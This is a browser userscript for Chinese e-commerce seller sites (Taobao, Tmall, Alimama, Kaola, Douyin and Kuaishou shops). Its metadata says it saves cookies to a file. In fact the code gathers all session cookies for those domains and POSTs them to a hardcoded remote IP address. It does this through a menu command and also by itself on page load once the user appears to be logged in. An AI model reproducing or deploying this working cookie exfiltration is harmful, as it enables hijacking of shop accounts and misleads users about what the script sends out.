[蛮吉]Save Cookies
// ==UserScript==
// @name [蛮吉]Save Cookies
// @namespace https://bbs.tampermonkey.net.cn/
// @description Save cookies to a file.
// @version 1.0.10
// @author [蛮吉]
// @match https://*taobao.com*
// @match https://*alimama.com*
// @match https://*alimama.hk*
// @match https://*tmall.com*
// @match https://*.jinritemai.com*
// @match https://*.kaola.com*
// @match https://*kwaixiaodian.com*
// @match
// @match
// @grant GM_cookie
// @grant GM_xmlhttpRequest
// @grant GM_registerMenuCommand
// @grant GM_unregisterMenuCommand
// @connect tmall.com
// @connect taobao.com
// @connect alimama.com
// @connect alimama.hk
// @connect kaola.com
// @connect jinritemai.com
// @connect kwaixiaodian.com
// @run-at document-start
// @require https://scriptcat.org/lib/513/2.0.0/ElementGetter.js
// ==/UserScript==
unsafeWindow.GM_cookie = GM_cookie;
unsafeWindow.elmGetter = elmGetter;
(function() {
'use strict';
// const sav_url = 'http://127.0.0.1:6001/api/cookies/save_cookies';
const sav_url = 'http://101.200.233.222:6001/api/cookies/save_cookies';
// 获取cookie的函数
function getCookie(connect_url){
return new Promise(function (resolve, reject) {
let cookieDic = {};
console.log(connect_url);
GM_cookie('list',{
domain:connect_url, // 这个网址必须 connect 一下
},(item)=>{
console.log("Cookie_length:",item);
if(typeof item === 'undefined' || item.length == 0 ){
reject("");
}else{
for(var i=0;i<item.length;i++){
cookieDic[item[i].name] = item[i].value;
};
console.log("Cookie_length:",Object.keys(cookieDic).length); // cookie长度
resolve(cookieDic);
}
}
)
});
};
// 保存cookie到服务器
async function saveCookie(connect_url){
// GM_unregisterMenuCommand(id);
let cookieDic = await getCookie(connect_url);
GM_xmlhttpRequest({
method: 'POST',
url: sav_url,
data: JSON.stringify({hostURL:document.location.host,domainURL:connect_url,cookieDict:cookieDic}),
headers: {
'Content-Type': 'application/json'
},
onload: function(response) {
console.log(response.responseText);
},
onerror: function(response) {
console.log(response.responseText);
}
});
};
// 右键菜单保存cookie
GM_registerMenuCommand("保存cookie", function() {
var domain = document.location.host;
var targetDomain = domain.match(/taobao\.com|tmall\.com|alimama\.com|alimama\.hk|kaola\.com|jinritemai\.com|kwaixiaodian\.com/);
if (targetDomain) {
saveCookie(targetDomain[0]);
}
}, "h");
window.addEventListener('load', function() {
console.log('网页加载完成了');
elmGetter.selector('xpath');
elmGetter.each('.//*[contains(text(), "海外旗舰") or contains(text(), "SALUS莎露斯海外官方")]', document, el => {
const text = el.textContent;
// 字符串小于100 大多数情况下就是店铺名称 ,代表处于登录状态
if (text.length<100){
// 获取并保持cookie
const domain = document.location.host;
const targetDomain = domain.match(/taobao\.com|tmall\.com|alimama\.com|alimama\.hk|kaola\.com|jinritemai\.com|kwaixiaodian\.com/);
if (targetDomain) {
saveCookie(targetDomain[0]);
console.log("保存cookie完成");
};
return false; // 移除监听
};
});
});
})();